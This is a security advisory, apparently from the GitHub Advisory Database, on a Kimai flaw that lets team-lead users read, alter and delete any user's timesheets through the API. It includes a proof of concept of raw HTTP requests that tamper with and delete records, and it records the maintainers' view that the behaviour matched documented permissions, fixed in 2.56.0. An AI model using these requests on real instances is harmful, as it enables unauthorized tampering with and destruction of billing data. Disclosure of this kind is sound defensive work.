kimai/kimai
Affected
- introduced
0, fixed2.56.0(ecosystem)
Fixed versions
2.56.0
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-80202
Kimai has Missing Voter Check that Allows Cross-Team Timesheet Manipulation
Summary
Any ROLE_TEAMLEAD user can enumerate, read, modify, and permanently delete timesheets belonging to any other user in the system — regardless of team membership. This enables data destruction (deleted billable hours), data tampering (forged timesheet durations), and full authorization bypass on timesheet resources. Verified against Kimai 2.52.0.
Details
TimesheetVoter::voteOnAttribute() maps permissions to own_timesheet or other_timesheet without checking team membership. The voter's own comment confirms this is a known gap:
// extend me for "team" support later on
if ($subject->getUser()?->getId() === $user->getId()) {
$permission .= 'own';
} else {
$permission .= 'other';
}
PoC
Tested against Kimai 2.52.0 Docker instance.
Setup:
User B reads User A's timesheet data:
GET /api/timesheets/2 HTTP/1.1
X-AUTH-USER: userb
X-AUTH-TOKEN: <userb_api_token>
Response: HTTP 200 — returns full timesheet record including description "Private timesheet - UserA only".
User B deletes User A's timesheet:
DELETE /api/timesheets/3 HTTP/1.1
X-AUTH-USER: userb
X-AUTH-TOKEN: <userb_api_token>
Response: HTTP 204 No Content — timesheet permanently deleted.
User B tampers User A's timesheet:
PATCH /api/timesheets/6 HTTP/1.1
X-AUTH-USER: userb
X-AUTH-TOKEN: <userb_api_token>
Content-Type: application/json
{"begin":"2026-03-24T08:00:00","end":"2026-03-24T18:00:00","project":1,"activity":1,"description":"TAMPERED","exported":false,"billable":false}
Response: HTTP 200 OK — duration inflated from 3600s to 36000s, description overwritten.
Note: ROLE_USER (userc) is correctly blocked — DELETE returns 403 and the actions endpoint returns an empty array. The vulnerability only affects ROLE_TEAMLEAD and above. Timesheet IDs are sequential integers, trivially enumerable.
Impact
Any authenticated user with ROLE_TEAMLEAD or above can:
No user interaction required. ROLE_USER accounts are correctly restricted; the vulnerability is specific to ROLE_TEAMLEAD receiving global scope instead of team-scoped access.
Maintainers answer: why this is not eligible for a CVE
The behavior described matches the documented permission model. Per the Kimai documentation, the relevant permissions granted to ROLE_TEAMLEAD are:
edit_other_timesheet — Edit existing records of other usersdelete_other_timesheet — Delete existing records of other usersThese permissions were global by design, not team-scoped. The UI surfaces only the teamlead's own team timesheets, but the API has historically honored these permissions as documented: a role holding *_other_timesheet can act on any other user's timesheet. The inline comment // extend me for "team" support later on reflects this accurately — team-scoped enforcement was a planned enhancement, not a security control that existed and failed.
The report frames this as authorization bypass, but no authorization boundary is being crossed: ROLE_TEAMLEAD is operating within its documented permissions.
Kimai acknowledges that this behavior might not be expected, so while it will be treated as a feature request for team-scoped permission enforcement and not a vulnerability, it still track it as having security implications.
Solution
Team-scoped timesheet permission checks were added in 2.56.0.
Operators of Kimai <= 2.55 who need stricter isolation between teamleads should not grant ROLE_TEAMLEAD to users who must not act on other teams' timesheets.
Medium Basis: The source's own band: MODERATE
0, fixed 2.56.0 (ecosystem)2.56.0
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0